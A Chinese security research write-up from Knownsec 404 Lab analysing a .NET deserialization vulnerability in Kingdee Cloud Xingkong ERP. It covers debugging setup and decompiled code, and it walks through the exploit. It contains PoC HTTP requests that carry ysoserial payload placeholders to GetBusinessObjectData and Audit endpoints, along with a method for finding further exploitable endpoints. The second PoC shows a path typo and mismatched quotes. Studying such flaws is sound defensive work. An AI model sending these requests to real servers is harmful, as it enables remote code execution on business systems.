作者:Sunflower@知道创宇404实验室
日期:2023年7月10日
1.前言
2.影响范围
金蝶云星空 < 6.2.1012.4
7.0.352.16 < 金蝶云星空 <7.7.0.202111
8.0.0.202205 < 金蝶云星空 < 8.1.0.20221110
3.环境准备
4.调试准备
图2 IIS管理器
在 WebSite 目录下找到并打开 Web.config,如图3所示:
[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0
重启完 IIS 服务器后,进程 ID 会改变,所以再次使用 Process Hacker 搜索到相应的进程 ID(打开文件夹验证同级目录下是否有刚刚创建的 .ini 文件),如图 8 所示。
图8 Process Hacker
图10 dnsPy断点
5.漏洞分析
参考网上公开的 PoC[2],将其中 PAYLOAD 位置替换为 ysoserial 生成的内容,先简要跟一下这个漏洞:
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{
"ap0":"PAYLOAD",
"format":"3"
}
这里直接发上面的数据包进行调试。如果之前配置的 dnSpy 没错,就可以成功断到点了,如图 11 所示。
图11 断点成功
BinaryFormatter
进行了 Deserialize操作[2],微软已经将 BinaryFormatter 的反序列化标注为不安全的[4]。 public object Deserialize(string content, Type type)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
object result;
try
{
byte[] array = this.encoder.Decoding(content);
if (this.Compressor != null)
{
array = this.Compressor.Uncompress(array);
}
using (MemoryStream memoryStream = new MemoryStream(array))
{
result = binaryFormatter.Deserialize(memoryStream);
}
}
catch (FormatException)
{
throw new KDException("#####", "服务器返回内容不能被解码,请检查服务器地址是否正确。");
}
return result;
后调用栈如图 20 所示。
图20 调用栈
5.1 为什么要赋值format=3?
因为 Create 方法中的 requestExtractor = new JQueryRequestExtractor(request, isGet);,其内部会根据 request 传递的值来进行属性的赋值给 this.form,如图 21 所示。
图21 Create方法
待后续调用到 this.Format 时,则会自动触发 Format 定义,如图 22 所示。
5.2 为什么使用ap0作为参数?
一开始以为 ap0 是 GetBusinessObjectData 其中一个参数,后来发现其使用了如下代码逻辑:
public string[] GetServiceParameters(string[] paras)
{
string[] array = new string[paras.Length];
if (this.form.AllKeys.Contains("parameters"))
{
string parameters = this.form["parameters"];
JSONArray jsonarray = new JSONArray(parameters);
int num = Math.Min(jsonarray.Count, array.Length);
for (int i = 0; i < num; i++)
{
if (jsonarray[i] == null)
{
array[i] = string.Empty;
}
else
{
Type type = jsonarray[i].GetType();
if (type.IsValueType || type == typeof(string))
{
array[i] = jsonarray[i].ToString();
}
else
{
array[i] = jsonarray.GetJsonString(i);
}
}
}
}
else
{
int num2 = 0;
for (int j = 0; j < paras.Length; j++)
{
array[j] = this.form[paras[j]];
if (array[j] == null)
{
array[j] = this.form["ap" + num2++];
}
}
}
return array;
}
这意味着 array 只会接收 “ap+ 数字”和 parameters 中的值,否则 array 为 null 。此外,parameters 的值需要符合 JSON 格式。例如:
{"ap0":"payload","parameters":["payload"]}
6.继续探索
分析到反序列化执行点发现,这里是先进行反序列化,之后 Invoke 再执行方法内部再进行参数类型判断。这就意味着不管调用哪个类或者方法,只要该类或者方法存在并且可以传入值(至少一个),那么都会调用到 this.DeserializeParameters(serializeProxy, svcType, paraValues) 代码里面,如图 25 所示。
图25 反序列化顺序
此外还有个限制,svcType.MapToCLRType 的构造函数需要支持传递 context(KDServiceContext)类型或者继承该类型的参数。只有确保传递给 CreateInstance
方法的参数与所需的构造函数参数类型兼容,且符合构造函数的参数约束,才能成功创建对象,否则会在创建对象时报错,导致跳不到反序列化的步骤中去,如图 26 所示。
图26 obj创建
综上所述,只要任意一个类型的构造函数支持传递 KDServiceContext 类型或者继承该类型的参数,并且其中的方法可以传入参数(至少一个),那么都可以进入反序列化的代码逻辑里去。
例举几个命名空间,他们下面的类的构造函数都支持传递 context 的类型:
Kingdee.BOS.ServiceFacade.ServicesStub
Kingdee.BOS.ServiceFacade.ServicesStub.Account
Kingdee.BOS.ServiceFacade.ServicesStub.Workflow
Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner
Kingdee.BOS.ServiceFacade.ServicesStub.BaseData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessFlow
Kingdee.BOS.ServiceFacade.ServicesStub.Computing
Kingdee.BOS.ServiceFacade.ServicesStub.DataMigration
Kingdee.BOS.ServiceFacade.ServicesStub.DB
Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm
Kingdee.BOS.ServiceFacade.ServicesStub.Metadata
......
调试到这里,成功跳到了反序列化步骤中去了,本以为可以准备收尾文章了,但是进入后发现 SerializerProxy 的 Deserialize 方法依旧对参数类型进行了判断。
public object Deserialize(string content, Type type)
{
if (string.IsNullOrEmpty(content))
{
if (type.IsValueType)
{
return Activator.CreateInstance(type);
}
if (type.Equals(typeof(string)))
{
return content;
}
return null;
}
else if (type == typeof(string))
{
if (this.proxy.RequireEncoding)
{
byte[] array = this.proxy.Encoder.Decoding(content);
return this.encoding.GetString(array, 0, array.Length);
}
return content;
}
else
{
if (type.IsEnum)
{
return Enum.Parse(type, content, true);
}
if (type == typeof(int))
{
return int.Parse(content);
}
if (type == typeof(byte))
{
return byte.Parse(content);
}
if (type == typeof(float))
{
return float.Parse(content);
}
if (type == typeof(double))
{
return double.Parse(content);
}
if (type == typeof(long))
{
return long.Parse(content);
}
if (type == typeof(DateTime))
{
return DateTime.Parse(content);
}
if (type == typeof(decimal))
{
return decimal.Parse(content);
}
if (type == typeof(bool))
{
return bool.Parse(content);
}
return this.proxy.Deserialize(content, type);
}
}
这里又出现了一层限制,因此正确的利用条件应该为:任意一个类型的构造函数支持传递 KDServiceContext 类型或者继承该类型的参数。该构造函数中的方法需要传入至少一个参数,并且参数不能为上述类型(string、int、byte、float…)。
在我刚刚提供的命名空间里面还是能找到不少符合条件的,例如图 27。
图27 符合条件的方法
6.1 构造其他PoC
这里只举了一个较为经典的案例,除此之外还有很多。
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit 传递的第三个参数为 object[](这里满足不为int、string等类型),且 ProcInstService 的构造函数支持传递 KDServiceContext 类型,满足条件,如图 28 所示。
图28 符合条件方法举例
之前提到的,传入 “ap+ 数字” 或者parameters,就可以给array赋值,这里Audit方法的第三个参数为object[],所以就需要使array[2]为PAYLOAD,前两个值用ap0和ap1进行占位,ap2为PAYLOAD。
所以构造的PoC 大致为:
POST /K3Cloud/Kingdees.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{
"ap0":"1",
"ap1":"1",
"ap2":“PAYLOAD”,
"format":"Binary"
}
图 29 进行验证(这里PAYLOAD使用的是ysoserial生成的 ActivitySurrogateSelectorFromFile攻击链)。
图29 漏洞验证
7.总结
本篇文章算是我从.NET入门到调试分析第一个漏洞,虽然一路上踩得坑还是不少,但是收获还是挺多的。本文主要讲了用 dnsPy 进行附加进程调试,至于VSstudio 调试以及一些编译优化入门可以看一下这篇文章:https://paper.seebug.org/1894/。
8.参考链接
作者名片
原文始发于微信公众号(Seebug漏洞平台):原创Paper | 从入门 .NET 到分析金蝶反序列化漏洞学习笔记